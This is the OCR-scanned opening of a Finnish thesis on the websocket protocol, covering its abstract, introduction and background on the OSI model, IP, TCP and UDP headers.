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Taméd tutkielma tutustuttaa lukijan yleisimpiin verkkoprotokolliin ja esittelee
websocket-protokollan. Websocket-teknologiaa kokonaisuutena esitellddn ja vertaillaan
muihin verkkosovelluksissa kdytettyihin teknologioihin. Lisdksi websocket-teknologiaa
analysoidaan tietoturvan nikékulmasta.

Tietoturva-analyysin pohjalta todetaan, ettd yleiset verkkosivuhaavoittuvuudet
mahdollistavat websocket-yhteyden kaappaamisen, jolloin ulkopuolinen osapuoli saa
taydet luku- ja kirjoitusoikeudet yhteyteen. Websocketin hallinta mahdollistaa uusia
verkkohyokkéyksid. Yhteyden kaappaamisen estimiseksi ja verkkohyokkéysten

lieventdmiseksi ehdotetaan erilaisia keinoja.

Avainsanat ja -sanonnat: websocket, verkkotekniikat, TCP, IP, HTMLS, tietoturva,
XSS, CSRF, palvelunestohyokkays.
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1. Johdanto

Maailman edelleen verkottuessa selaimessa ajettavat sovellukset jatkavat yleistymistd ja uusilta
selainsovelluksilta odotetaan enemmaidn interaktiivisuutta. Selainteknologiat joutuvat myos
jatkuvasti mukautumaan wuusiin vaatimuksiin ja haasteisiin, minkd johdosta teknologiat ja
verkkoprotokollat ovat jatkuvassa muutoksessa.

Internetin tunnetuin sovellus WWW on alun perin suunniteltu yksinkertaiseen resurssien
hakemiseen, mutta vuosien saatossa WWW-sivuja on alettu kdyttimididn myos verkkosovellusten
kayttoliittymind, joista halutaan entistd enemmin tyopoOytdsovellusten kaltaisia. Lisdksi peli- ja
mobiilialan murrokset tuovat lisdd haasteita ja vaatimuksia selainpohjaisten sovellusten
tiedonsiirtoprotokolliin. HTTP ja sithen perustuvat teknologiat soveltuvat hyvin staattisten
resurssien hakemiseen, mutta sen rajat tulevat vastaan, kun tarvitaan nopeaa tiedon péivittimista
palvelimen aloitteesta.

Uudehko verkkoprotokolla websocket vastaa moniin seuraavan polven verkkosovellusten
kaipaamista  tiedonsiirtovaatimuksista.  Websocket-protokollalla  luodaan  aidosti  tdysin
kaksisuuntainen yhteys selaimen ja palvelimen vilille, jolloin myds palvelin voi ldhettdd tietoa
selaimeen ilman, etti selaimesta tehddan erillinen péivityskutsu.

Tietoturva on edelleen erds haastavimmista ongelmista verkkosovellusten kehittdmisessé ja se
on kriittinen huomion kohde uuden protokollan ollessa kysessd. Selainsovelluksia kdytetddn yha
enemman yksityisté tietoa késittelevissd sovelluksissa kuten pankkiasioinnissa, joissa tietoturva on
tirkein prioritetti. Tdma tutkielma tutustuttaa lukijan websocket-protokollan teknisiin piirteisiin ja
keskittyy analysoimaan sitd tietoturvan ndkokulmasta. Websocket-protokollaa myds verrataan
toistaiseksi yleisemmin kaytettyithin kommunikointitekniikoihin kuten HTTP-pohjaisiin Comet-
tekniikoihin. Erityisesti huomiota kiinnitettddn websocket-teknologian kdyttdytymiseen yleisimpien
tietoturvahaavoittuvuuksien yhteydessd. Tutkitut haavoittuvuudet ja verkkohyokkdykset ovat
vilipalvelimen vélimuistin saastuttaminen, cross-site scripting, cross-site request forgery, tiedon
salakuuntelu ja palvelunestohyokkays.

Tassd tutkielmassa lukija aluksi tutustutetaan Internetin perustavanlaatuisiin verkkoprotokolliin
ja luvussa 3 esitellddn websocket-teknologia yksityiskohtaisesti. Luvussa 4 websocket-teknologiaa
verrataan yleisimpiin verkkosovelluksissa kaytettyihin teknologioihin ja luvussa 5 syvennytidin

tarkastelemaan websocket-teknologiaa tietoturvan kannalta.



2. Verkkotekniikoista

Maailmanlaajuinen tietokoneiden verkko Internet on erds edellisen vuosisadan merkittdvimmista
keksinndistd. Internet tarkoittaa tietoverkkojen verkkoa, joka muodostuu yhteenliitetyistd
pienemmistd ldhiverkoista, jotka puolestaan muodostuvat tietokoneista ja muista laitteista, jotka
valittdvat tietoa paitepisteeltd toiselle. Internetin kautta erillisiin ldhiverkkoihin kytketyt laitteet
voivat kommunikoida toistensa kannsa. Isolla alkukirjaimella kirjoitettuna Internet tarkoittaa
maailmanlaajuista internetid. Muita internetien infrastruktuuriin kuuluvia laitteita ovat muun
muassa reitittimet (engl. router), kytkimet (engl. switch), palomuurit (engl. firewall) ja
valityspalvelimet (engl. proxy server). Reitittimien tehtdva on vélittda tietoa ldhiverkkojen vélilld ja
siten ne ovat keskeisessd asemassa internetin toiminnassa.

Lihiverkot voivat sisdisesti rakentua erilaisista verkkotekniikoista ja niihin kytketyt tietokoneet
saattavat kdyttdd tdysin erilaisia kdyttojarjestelmié ja verkkoliittimid. Jotta hyvinkin erilaiset laitteet
ja kayttojarjestelmét voisivat jarkevésti ja jossain madrin luotettavasti kommunikoida ja vélittaa
tietoa toisillensa Internetin yli, on jirjestelmien ymmarrettivd yhteisid tekniikoita ja
kommunikointimdaritelmid, joita kutsutaan verkkoprotokolliksi tai pelkédstddan protokolliksi. Téssa
luvussa esitellddn tdmén tutkielman kannalta keskeisimmaidt verkkoprotokollat ja -tekniikat,
verkkosovellusten kehittimisessd nykyisin yleisesti kaytettdvat ohjelmointiteknologiat seké
tutkielmassa kaytettavat kéasitteet.

Tietoverkoissa kulkeva tieto on aina pohjimmiltaan raakaa bittidataa, joka on tulkittava jollain
tavalla ennen kuin datasta voidaan muodostaa mielekdstd tietoa. Data kisitellddn erillisind
kokonaisuuksina, jotka miiritellddn protokollan mukaan. Datayksikoistd kdytetddn yleisnimitysté
paketti, mutta protokollat usein nimedvét datayksikot omalla tavallaan. Kaikki tietoliikenne
Internetissd perustuu pakettien vaihtamiseen, eikd kahden tietokoneen vililld todellisuudessa ole
pysyvai kanavaa. Jotkut protokollat kuitenkin méérittelevat yhteydelle tilan, jolloin yhteys vaikuttaa
pysyviltd niin kauan kuin yhteys on auki. Tilallinen yhteys tdytyy avata protokollan
madrtittelemélld tavalla ennen varsinaista tiedonvaihtoa. Yhteyden avaamisen prosessia kutsutaan
kattelyksi (engl. handshake) Yhteyden avaamisen ja sulkemisen vélisestd tapahtumasarjasta
kaytetddn usein nimitysta istunto (engl. session).

Internetin vélitykselld toimitetaan monia sovelluksia ja palveluita, jotka ovat tehneet suuren
muutoksen arkieldmiin 80-luvun lopulta alkaen. Tunnetuin Internetin sovelluksista on varmastikin
World Wide Web (WWW), jonka perimmdiinen tarkoitus oli jakaa hyperlinkkien kautta yhteen
linkitettyjd staattista sisdltod siséltédvid sivuja [Stevens, 2011]. WWW:n kdyton yleistyessa sivuille
alettiin vaatimaan enemmén dynaamista sisdltod ja interaktiivisuutta, ja WWW on kehittynyt

huomattavasti monimuotoisemmaksi sen alkuperdisestd tarkoituksesta. Kehityksen my6td myos



WWW:n ja Internetin perustana olevat verkkoprotokollat joutuvat jatkuvan muutoksen alle, ja
yhteensopivuuden takaamiseksi uudet tekniikat usein kantavat suunnittelutaakkaa.

Yhtendisten protokollamééritelmien ja Internetin perimmaisisten teknologioiden ylldpitimisesti
ja kehittimisestd vastaa péddasiassa neljd voittoa tavoittelematonta jirjestedd. Kansainvilinen
Internet Society (ISOC) on ylimmédssd asemassa ja se vastaa Internetin kehittimisen suurista
linjauksista. Internet Architecture Board (IAB) muodostuu 15 vapaaehtoisjdsenestd ja se vastaa
Internetin teknisistd asioista. Verkkoprotokollien kehitys on Internet Engineering Task Forcen
(IETF) vastuulla. IETF julkaisee protokollamédritelmid ja muita Internetiin liittyvid mééritelmia
julkaisuissa, joita kutsutaan nimelld Request For Comments (RFC). Liséksi Internet Research Task
Force (IRTF) toteuttaa Internetid edistivid tutkimusprojekteja. Néiden liséksi keskeisessd asemassa
on Intenet Assigned Numbers Authority (IANA), joka vastaa maailmanlaajuisista IP-osoitteista,
standardiporttien numeroinnisa ja muista Internetin toimintaan liittyvista numerointitehtévista.

Avoimien protokollien ansiosta eri valmistajien tietokoneet ja kayttojirjestelmét voivat
kommunikoida toistensa kanssa Internetin vélitykselld. Internetiin kytkettyjd pditepisteitd, jotka
voivat ldhettdd ja vastaanottaa tietoa, kutsutaan isdnniksi (engl. host). Vaikka tiedonvilitys
Internetissd tapahtuu yksittdisind lahetyksind eikd todellisuudessa kahden isdnnén tai pédatepisteen
ole pysyvdd yhteyttd, voidaan sellaisen illuusio rakentaa eri protokollien ominaisuuksilla.
Paitepisteiden vilinen yhteys voi olla kolmea laatua: tdysin kaksisuuntainen (engl. full-duplex),
puolittain kaksisuuntainen (engl. half-duplex) tai yksisuuntainen (engl. simplex). Téaysin
kaksisuuntaisessa yhteydessd molemmat paétepisteen voivat itsendisesti aloittaa tiedon ldhettdmisen
vastaanottajalle. Puolittain kaksisuuntaisessa vain toinen paitepiste voi aloittaa yhteyden, jolloin
vastapuoli voi vastata viestiin. Yksisuuntaisessa tieto kulkee ainoastaan yhteen suuntaan.

Tiedon liikkuminen Internetissé ja muissa tietoliikenneverkoissa perustuu karkeasti kahteen eri
ajattelumallia seuraavaan arkkitehtuuriin: asiakas ja palvelin -arkkitehtuuriin (engl. client server) ja
vertaisverkkoarkkitehtuuriin (engl. peer to peer). Asiakas ja palvelin -arkkitehtuurissa sovellus
muodostuu kahdesta erillisestd osasta, asiakkaasta (engl. client) ja palvelimesta (engl. server).
Asiakas ja palvelin voivat olla toisistaan tdysin erillisii ohjelmia erillisissd ympéristdissd ja
kayttojarjestelmissd. Palvelin tarjoaa jotain tiettyjd resursseja tai palveluita, joita asiakkaat
kayttavit. Yleensd palvelin ei ennestddn tunne jarjestelmdén liitettyjd asiakkaita, mutta asiakkaiden
on tunnettava palvelin esimerkiksi sen osoitteen perusteella. Asiakkaat eivdt myodskddn tunne
toisiaan, ellei palvelin eksplisiittisesti vélitd tietoa muista asiakkaista. Esimerkkind asiakas ja
palvelin -arkkitehtuurista on WWW, jossa selainohjelma toimii asiakkaana ja WWW-palvelimet
ovat palvelimia. Termid palvelin kdytetdin my0s merkitseméédn fyysistd tietokonetta tai laitetta,
jossa suoritetaan mahdollisesti useita loogisia palvelimia eli palvelinohjelmia. Téstd ldhtien téssa

tutkielmassa termillé palvelin viitataan loogiseen palvelimeen.



Palvelimet voidaan jakaa niiden vastausprosessin mukaan kahteen perustyyppiin: iteratiivisiin
(engl. iterative server) ja samanaikaisesti palveliviin (engl. concurrent server) [Stevens, 2011].
Iteratiiviset palvelimet toimivat siten, ettd saatuaan pyynnon asiakkaalta ne muodostavat vastauksen
ja lahettdvdt sen asiakkaalle. Vastauksen rakentamisen aikana ne eivét voi alkaa prosessoimaan
uusia pyyntdjd uusilta asiakkailta, ja uudet pyynnét joko hylétédn tai asetetaan jonoon odottamaan
prosessin vapautumista. Samanaikaiset palvelimet voivat prosessoida useita kutsuja ja palvella
monia asiakkaita yhtdaikaisesti. Palvelin voi sdikeistdd pyyntdjen prosessoimisen yhdelle
prosessille, mutta usein téllaisissa palvelimissa kdynnistetddn uusi prosessi jokaiselle uudelle
pyynnolle. Palvelinprosessi saatetaan myds jittdd eloon istunnon ajaksi.

Vertaisverkkoarkkitehtuurissa ei ole erillistd palvelinta, joka olisi erityisasemassa muihin
samassa jarjestelmissd toimiviin ohjelmiin ndhden. Asiakkaat, joita tdssd kutsutaan vertaisiksi
(engl. peer), ovat samanarvoisessa asemassa ja suorassa yhteydessd toisiinsa. Jérjestelmd on
hajautettu.

Seuraavissa kohdissa paneudutaan tarkastelemaan Internetin perustavanlaatuisimpia protokollia
ja teknologioita. Joidenkin alimpien tasojen teknologioiden tarkka esittely ohitetaan, silld ne eivét

ole oleellisia tdmén tutkielman kannalta.

2.1. OSI-viitemalli

Verkkoliikenneprotokollat rakentuvat kerroksittain, ja usein verkkoprotokollamallit kuvataan
tasoarkkitehtuurina, jossa jokainen taso vastaa yhdestd yhteyden osasta tai piirteestd. Ylemmaéan
tason protokolla kdyttdd alemman tason protokollaa ja siten on riippuvainen siitd. Jotta kaksi
padtepistettd voisivat kommunikoida keskenddn, niiden on toteutettava jokainen saman
protokollapinon tasoista. Tasot ovat yhteydessd ainoastaan saman tason kanssa paitepisteissé ja ne
vaihtavat keskenddn tason maiiritelmdn mukaisia paketteja. Abstraktiotasoilla erotettu
protokollapino mahdollistaa monimutkaisten yhteyksien toimimisen.

OSI-malli (Open Systems Interconnection Reference Model) on verkkotekniikoiden
kehityksessd keskeinen abstraktiomalli [Stevens, 2011]. OSI-malli kuvaa seitsemédn loogisesti
eroteltua tasoa (taulukko 1). Ylin taso on lahimpéana kayttdjad. Tasoista kolme ylintd (5-7) ja loput
neljd alinta (1-4) voidaan eriyttdd omiksi kokonaisuuksikseen. Tyypillisesti ylimmét kerrokset
toteuttavat sovelluskohtaisia toimintoja ja alimmat primitiivisempia verkkoliikenteeseen liittyvid
toimintoja. Nykyinen Internet perustuu samankaltaiseen malliin, joka ei kuitenkaan ole tdysin OSI:n
mukainen. Internetin tietoliikennemallista kéytetddn nimitystd TCP/IP-malli, joka kuvataan
edempédnd tdssd luvussa. Nimitys tulee yleisimmin kéytetystd protokollaparista, mutta téitd

viitemallia ei tule sekoittaa itse TCP- ja [P-protokollien kanssa.



Taso Tietoyksikkd
7. Sovelluskerros Sovellustason toiminnot |Sovelluskohtainen
(isantataso) data

6. Esityskerros

5. Istuntokerros

4. Kuljetuskerros Verkkotason toiminnot Segmentti
3. Verkkokerros (mediataso) Paketti
2. Siirtokerros Sahke

1. Fyysinen kerros Bitti

Taulukko 1. OSI-malli.

OSI-mallin ensimmaéinen taso kuvaa fyysisen kerroksen (engl. physical layer), johon kuuluu
kaikki fyysiset laitteet ja yhteyden mahdollistava elektroniikka ominaisméérityksineen. Tamén
kerroksen ldpi kulkeva tietovirta on raakaa dataa eli bittejd. Fyysisen kerroksen muodostama yhteys
ei ole luotettava. Toinen kerros eli siirtokerros (engl. data link layer) vastaa kahden péitepisteen
vilisestd luotettavasta yhteydestd. Siirtokerroksessa toimivat kytkimet kéyttivit kaikille verkkoon
kytketyille laitteille anettua uniikkia Media Access Control (MAC) -osoitetta. Néiden kahden
alimman tason tarkka kuvaus ei ole olleellista timédn tutkielman kannalta. Kolmas kerros eli
verkkokerros (engl. network layer) mahdollistaa usean paétepisteen muodostamassa verkossa tiedon
jakamisen tietylle paitepisteelle. Kerros médrittdd osoitteen kaikille verkkoon kytketyille laitteille.
Esimerkiksi myohemmin esiteltdvd IP-protokolla toimii verkkokerroksessa. Neljds kerros eli
kuljetuskerros (engl. transport layer) mahdollistaa eri verkkojen vélisen tiedonvilityksen. Viides
taso eli istuntokerros (engl. session layer) maddrittelee kahden piétepisteen vélisen pysyvéin
yhteyden hallinnasta eli se avaa ja sulkee istunnon isdntien vilille. Kuudes kerros eli esityskerros
(engl. presentation layer) muuntaa vilitetyn tiedon sovellustason ymmaértdméaén muotoon. Seitsemds

kerros eli sovelluskerros (engl. application layer) on itse sovellus.

2.2. IP-protokolla

Koko modernin Internetin perustana voidaan pitdd yhtd protokollaa: IP (Internet Protocol). IP on
verkkokerroksen protokolla, joka vilittdd tietosdhkeiksi (engl. datagram) kutsuttuja paketteja
isdnnélté toiselle tietoverkossa. IP-protokollalla on myds mahdollista reitittdd tietosidhkeitd verkon
sisdlld ja verkosta toiseen, joten sen avulla erilliset tietoverkot voidaan yhdistdd yhdeksi
internetiksi. Isdnnét voivat toimia sekd yhteyden péétepisteind etti reitittdjind. Tdmédn ominaisuuden
takia IP valikoitui Internetin padasialliseksi protokollaksi. IP-protokolla virallisesti médaritelldén
RFC:ssd numero 791.

IP-protokolla on epiluotettava ja yhteykseton. Protokolla ei takaa, ettd jokainen ldhetetty
tietosdhke saavuttaa vastaanottajansa. Tietosdhkeiden hdvidmiseen on useita syitd, kuten reitittimen

puskurin tdyttyminen tai tietosdhkeen eliniin ylittyminen. Niissd tapauksissa protokolla pyrkii



ldhettdimddn ICMP-viestin alkuperdisen tietosdhkeen ldhettdjdlle virhetilanteesta. IP ei mydskddn
tallenna mink&énlaista tilatieto perdkkiisistd tietosdhkeistd. Jokainen sdhke késitellddn erillisend,
mistd johtuen tietosdhkeet saattavat saapua vastaanottajalle eri jérjestyksessd kuin missd ne
alunperin ldhetettiin. Luotettavan ja jatkuvan yhteyden yllépitiminen on ylempien tasojen
protokollien vastuullaa. Muun muassa myohemmin esiteltdvd TCP tarjoaa luotettavan yhteyden
iséntien vilille.

Isdntien identifiointi tapahtuu IP-osoitteiden avulla. [P-protokollan versiossa 4 (IPv4) osoite on
32-bittinen arvo, joka ldhes aina esitetddn neljdnd tavuna pisteelld esiteltynd. Mahdollisten IP-
osoitteiden lukuméérd on siis 4 294 967 296. Alun perin IPv4:n osoitteiden lukumidirda pidettiin
riittdvand, mutta Internetin laajentuessa kivi selvéksi, ettd osoitteet tulevat loppumaan kesken.
Protokollan seuraavassa versiossa 6 (IPv6) osoitekentin koko on 64 bittid, minkd johdosta
osoitteiden lukuméérd on huomattavasti suurempi, noin 3.403x10"38.

IP-osoitteita on neljdd perustyyppid: tisméldheys (engl. unicast), yleisldhetys (engl. broadcast),
ryhméldhetys (engl. multicast) ja jokuldhetys (engl. anycast). Tésmaildhetys on yleisin
perustyypeistd. Silld toimitetaan tietosdhke yhdeltd ldhettdjdltd yhdelle vastaanottajalle.
Yleisldhetyksessd tietosdhke kopioidaan kaikille samaan verkkoon liitetyille isénnille. Lahettdjén ei
tarvitse ldhettdd samaa viestid useaan kertaan jokaiselle muulle isénnélle verkossa. Ryhmaildhetys
toimittaa viestin tietyille isénnille verkossa. Jokuldhetyksessd tietosdhke toimitetaan 1&himmaélle
isdnndlle ldhettdjdstd. Alun perin IP-osoitteet jaettiin luokkiin (taulukko 2 ja 3), joihin méériteltiin

erillinen verkko-osa ja isdntdosa. Nykyisin luokittelua ei juurikaan enda kayteta.

Luokka A 0 7 bittia 24 bittia

Luokka B 1| 0 14 bittia 16 bittia
Luokka C 11 0 21 bittia 8 bittia
Luokka D 11 1 0 28 bittia

Luokka E 11 1 1 (] 27 bittia

Taulukko 2. IP-osoiteluokat.



Luokka Osoitevdli
A 0.0.0.0 - 127.255.255.255
B 128.0.0.0 - 191.255.255.255
C 192.0.0.0 - 223.255.255.255
D 224.0.0.0 - 239.255.255.255
E 240.0.0.0 - 247.255.255.255

Taulukko 3. IP-osoiteluokkien osoitevilit.

IP-osoitteiden lisdksi isdntien tunnistamiseen Internetissd kaytetddn verkkotunnuksiksi (engl.
domain name), jotka ovat helpommin ihmisten luettavissa ja muistettavissa kuin 32- tai 64-bittiset
arvot. Tunnuksien liittdminen IP-osoitteisiin tapahtuu Domain Name System (DNS) -jérjestelmén
kautta. DNS:n tarjoamalta palvelulta voidaan tiedustella verkkotunnusta vastaava IP-osoite.
Esimerkki verkkotunnuksesta on www.esimerkki.org.

IP-protokolla, kuten moni muukin protokolla, lisdd viesteihin metatieto-osion, joka liitetdén
jokaiseen tietosdihkeeseen. Otsakkeella (engl. header) téstd ldhtien tarkoitetaan pakettiin liséttavaa
metadataosiota, joka sisiltdd protokollan tarvitsemaa tietoa. Ldhes jokainen protokolla médrittelee

oman otsakkeensa. Otsakkeiden koko ja niiden sisdltima tieto vaihtelee.

0 16

Versio (4 |otsakkeen |[palvelun tyyppi Tietosahkeen koko (16 bittiad)
bittia) pituus (4 (ToS) (8-bittiad)

bittia)
Identifikaattori (16 bittid) Lippumuuttuj |Fragmentin offset (13
a (3 bittia) bittia)
Elinaika (8 bittia) |Protokolla (8- Otsakkeen varmistesumma (16 bittiad)
bittia)

Lahettdajan IP-osoite (32 bittia)

Vastaanottajan IP-osoite (32 bittid)

Valinnaiset lisatiedot

Varsinainen tietosisalto

Taulukko 4. IP-protokollan otsake.

Taulukossa 4 on esitetty [P-protokollaotsakkeeseen kuuluvat tietokentdt. Kenttien koko on
ilmoitettu suluissa. Ensimmiinen kenttd ilmoittaa protokollan version ja toinen kenttd sisdltda
otsakkeen koon numerona kuinka monta 32-bitin sanaa otsake siséltdd. Koska otsakkeen koon

ilmoittavan kentin koko on 4 bittid, on otsakkeen maksimikoko 60 tavua. Tyypillisimmin



otsakkeen koko on 5 tavua, jolloin valinnaisia optioita ei ole mééritelty. Palvelun tyyppi -kenttid
koostuu kolmen alkubitin osasta, jota ei nykyisin kéytetd, neljdn bitin tyyppimdirittelystd ja
viimeisen bitin on oltava 0. Tyypit ovat minimoi viive, maksimoi suoritusteho, maksimoi
luotettavuus ja minimoi taloudellinen kustannus. Vain yksi niistd biteistd voi olla pédlld, mutta
kaikki voivat olla pois paélta.

Seuraava kenttd ilmoittaa tietosdhkeen siséllon kokonaispituuden tavuina. Tdmi kenttd yhdessa
otsakkeen maksimipituuden kanssa kertoo koko IP-tietosdhkeen maksimipituudeksi 65536 tavua.
Téatd suuremmat viestit fragmentoidaan eli ne ldhetetddn kahdessa tai useammassa osassa eri
tietosdhkeina.

Identifikaatio-kenttd sisdltdd uniikin identifioijan jokaiselle tietosdhkeelle. Normaalisti sédhkeet
identifioidaan numeroimalla 14hettdmisjérjestyksessd. Lippumuuttuja ja fragmentointin offset
liittyvét tietosdhkeiden fragmentoimiseen, jota ei téssi esitelld tarkemmin.

Elinaika-kenttd ilmoittaa kuinka monen reitittimen lépi paketin sallitaan kulkeutua. Lé&hetté;a
asettaa kentédn arvon ja jokainen reititin, jonka lépi paketti kulkee vihentdd arvoa yhdelld. Kun arvo
vihenee nollaan, paketti hyldtddn ja ldhettdjdlle ilmoitetaan ICMP-viestilld asiasta. Elinidlld
estetdéin paketin jddminen silmukkaan.

Protokolla-kenttd ilmoittaa mité kuljetustason protokollaa tietosédhkeen siséltd noudattaa. Kentté
on 8-bittinen arvo. Arvo 1 vastaa ICMP-protokollaa, 2 vastaa IGMP, 6 vastaa TCP:td ja 17 UDP:ta.
Varmistesumma lasketaan pelkdstddn otsakkeen siséllostd, eikd siithen oteta mukaan varsinaista
viestin sisdltdd. Viimeisend tietona otsakkeessa on ldhettdjén ja vastaanottajan IP-osoitteet, jotka
molemmat ovat [Pv4:ssd 32-bittisia.

Kuten aikaisemmin on mainittu IP-protokolla mahdollistaa iséntien toimimisen myds
tietosdhkeiden reitittdjind. Yksinkertaisimmassa tapauksessa, jossa vastaanottaja on suoraan
yhdistetty 1dhettdjdédn, reititin vilittdd tietosihkeen suoraan vastaanottajalle. Muussa tapauksessa
reititin 14hettdd tietosdhkeen erikseen mairitellylle oletusreitittimelle, joka ldhettdd sdhkeen eteen
pdin. IP-kerros sdilyttdd muistissa reititystaulukkoa, josta etsitddn vastaanottajaa aina uuden
tietosdhkeen saapuessa. Aluksi IP tarkistaa, onko vastaanottajan osoite sitd suorittavan isdnndn
osoite, jolloin paketti annetaan seuraavalle kerrokselle protokolla-kentdn arvon osoittamalle
kuljetustason protokollalle prosessoitavaksi. Jos osoite ei ole isdnnidn osoite ja isdntd on
konfiguroitu toimimaan reitittimend, viesti reititetddn edelleen, muussa tapauksessa viesti hylatdan.

Reititystaulussa on jokaisen merkinnidn kohdalla midrdnpdén IP-osoite, seuraavan reitittimen
IP-osoite, lippumuuttujat ja verkkolaitteen maiéritelmé, jolle tietosdhke tulee syOttaa.

Reititysalgoritmi hakee taulukosta tietosdhkeen mééranpééta ja vilittdd sdhkeen eteen pdin.

2.3. TCP-protokolla

Toinen merkittivimmistd protokollista Internetin kannalta on Transmission Control Protocol

(TCP). Suurin osa Internetin verkkoliikenteestd kayttdd kuljetuskerroksen protokollana TCP-



protokollaa, ja useat sovellustason protokollat ovat riippuvaisia TCP-protokollasta. TCP rakentaa
IP:n péille luotettavan ja jatkuvaan yhteyteen perustuvan kanavan. Jatkuva yhteys tarkoittaa sitd,
ettd padtepisteiden vélinen TCP-yhteys on tilallinen. Yhteys voi olla yhdessa useista mééritellyista
tiloista (taulukko 6) kerrallaan. Pditepisteiden on ennen varsinaisen tiedonvaihtoa avattava yhteys
kittelyprosessilla. Ainoastaan kaksi pddtepistettd voi olla samassa TCP-yhteydessd kerrallaan,
mutta pditepisteet voivat avata useita yhtdaikaisia yhteyksid muihin iséntiin. TCP:n mééritelma on
RFC-793.

TCP-protokollan paketteja kutsutaan segmenteiksi. Protokolla takaa, ettd segmentit saapuvat
vastaanottavalle sovelluskerrokselle samassa jarjestyksessd kuin missd ne ldhettiin. Luotettavuus
taataan kuittausmekanismilld. TCP asettaa jokaiselle IP-kerrokselle ldhetettidville segmentille
yksil6llisen sekvenssinumeron. Vastaanottajan on kuitattava jokainen saapunut segmentti. Jos
kuittaus ei saavu ldhettdjélle tietyn ajan kuluttua, TCP ldhettdd saman segmentin uudelleen. TCP
kayttdd myos otsakkeen tarkistesummaa takaamaan, ettd tieto ei ole muuttunut viestin kulkeutuessa
vastaanottajalle. TCP:ssé on my0s mekanismi segmenttien jirjestdmiseksi, silldi IP-tason
tietosdhkeet saattavat saapua eri jirjestyksessd kuin missd ne ldhetettiin.

Yhteyden avaaminen tapahtuu kolmivaiheisella kittelyprosessilla. Palvelimen tdytyy ennen
yhteyksien vastaanottamista avata ja sitoa portti. Asiakas ldahettdd SYN-viestin palvelimelle. SYN-
segmentin sekvenssinumeroksi asetetaan satunnaisluku s. Palvelin vastaa viestiin SYN-ACK-
viestilld, jonka kuittausnumeroksi asetetaan s + 1 ja sekvenssinumeroksi asetetaan satunnaisluku a.
Yhteyden aloittanut osapuoli vastaa ACK-viestilld, jonka sekvenssinumeroksi asetetaan s + 1 ja
kuittausnumeroksi a + 1.

TCP:n otsake (taulukko 5) siséltdd vastaanottajan ja lahettdjan portin numeron, joka on 16-
bittinen arvo. Porteilla identifioidaan sovellustason prosessit, silld samassa isdnndssé voi olla (ja
usein onkin) useita prosesseja, jotka avaavat ja vastaanottavat TCP-yhteyksid. IP-osoitetta ja porttia
yhdessd  kutsutaan  verkkopistokkeeksi (engl. socket). Lahettdjin ja  vastaanottajan
verkkopistokkeiden muodostamaa neljdn elementin monikkoa kéytetdén identifioimaan TCP-
yhteydet. Otsakkeeseen kuuluu myos luotettavuusmekanismin sekvenssi- ja kuittausnumerot, joiden
koko on 32 bittid. Nididen lisdksi otsakkeessa médritellddn kéttelyprosessiin ja muuhun yhteyden
kontrolloimiseen kuuluvat yhden bitin lippumuuttujat (URG, ACK, PSH, RST, SYN, FIN).
Lippumuuttujaa URG ja kenttdd Urgent-osoitin kdytetdéin ilmoittamaan vastaanottajalle, ettd
segmentin sisdltdvd data on jollain tavalla kiireellistd. Vastaanottajan vastuulle jad reagoiminen

kiireellisiin segmentteihin.
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0 16
Lahteen porttinumero (16 bittiad) Madrdnpdaan porttinumero (16 bittia)

Sekvenssinumero (32 bittia)

Kuittausnumero (32 bittia)

Otsakkeen |Varattu (6|U/A/P|R|S|F Ikkunan koko (16 bittia)
pituus (4 bittia) RICIS|S|Y|I
bittia) G|K|/H|[T|N|N

Tarkistesumma (16 bittiad) Urgent-osoitin (16 bittiad)

Valinnainen data

Sisalto

Taulukko 5. TCP-otsake.

Tila Selitys
LISTEN Valmiina vastaanottamaan yhteyksia (palvelin)
SYN-SENT Odottaa kattelypyynnon vastausta (asiakas)
SYN-RECEIVED Odottaa kattelyn varmistusta (palvelin)
ESTABLISHED Yhteys muodostettu (molemmat)
FIN-WAIT-1 Odottaa yhteyden paattamista tai sen varmistetta
(molemmat)
FIN-WAIT-2 Odottaa yhteyden paattamista (molemmat)
CLOSE-WAIT Odottaa yhteyden paattamisen varmistetta paikalliselta
kdayttajalta (molemmat)
CLOSING Odottaa yhteyden paattamisen varmistetta (molemmat)
LAST-ACK Odottaa varmistetta lahetettyyn yhteyden
paattamispyyntoon (molemmat)
TIME-OUT Yhteyden paattamispyynndsta kulunut tarpeeksi aikaa
CLOSED Ei yhteytta

Taulukko 6. TCP-yhteyden tilat.

TCP pyrkii optimoimaan yhteyden suoritustehoa ikkunointimenetteleylld. Ikkunoinnilla
tarkoitetaan sitd, ettd perdkkiisten ldhetettdvien segmenttien lukumddrdd optimoidaan verkon
suorituskyvyn ja luotettavuuden mukaan. Aluksi ldhetetddn yksi segmentti, jonka vastaanottaja
kuittaa saapuneeksi. Jos ldhettdjd saa kuittauksen tietyn ajan sisdlld, ldhettdjd kaksinkertaistaa
seuraavassa joukossa, eli ikkunassa, ldhetettdvien segmenttien médran. Tédtd menettelyd jatketaan

kunnes jokin segmentti jdd kuittaamatta tai ikkunan maksimi koko saavutetaan. Jos yksikin
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segmentin kuittaus jdd puuttumaan, asetetaan ikkunan kooksi yksi ja menettely aloitetaan alusta.
Ikkunan koko liitetdén otsakkeeseen taulukon 6 mukaisesti.

Toinen yleisesti kaytetty kuljetuskerroksen protokolla on User Datagram Protocol (UDP), joka
puolestaan on tilaton ja epiluotettava protokolla. Toisin kuin tietovirtaan perustuvat protokollat
kuten TCP, UDP tuottaa aina yhden IP-tietosihkeen yhtd UDP-tietoséhkettd kohti. UDP on
kuitenkin huomattavasti kevyempi kuin TCP ja siksi se soveltuu tiettyihin kayttotarkoituksiin
(esimerkiksi videon suoratoistoon) TCP:td paremmin. UDP ei muodosta pysyvéa yhteyttd eikd siten
tarvitse kéttelyprosessia yhteyden aloittamiseksi. TCP:n tavoin UDP tunnistaa sovellusprosessin
portin numeron mukaan, joka liitetdin otsakkeeseen taulukon 7 mukaisesti. Otsakkeeseen kuuluu
lisdksi tarkistesumma, jolla varmistetaan tietosdhkeen sisdllon eheys, mutta muuta
luotettavuusmekanismia protokollassa ei ole.

TCP:114 ja UDP:1la on siis erilaiset vaatimukset ja hyddyt. Esimerkiksi multimedian siirrossa
yksittdisen paketin puuttuminen ei ole suuri menetys, mutta tiedostonsiirrossa kaikkien pakettien on

syytd saapua perille ja oikeassa jarjestyksessd. Verkkotason protokollan siis riippuu sovelluksesta.

Lahteen portti Kohteen portti

Pituus Tarkistesumma

Viestin sisalto

Taulukko 7. UDP-otsake.

2.4. TCP/IP-viitemalli

Internetin toteuttamasta protokollapinosta kidytetddn nimitystd TCP/IP-malli kuten edelld on
mainittu. OSI-mallin tavoin TCP/IP-viitemallissa protokollat kuvataan tasoissa, joissa ylemmén
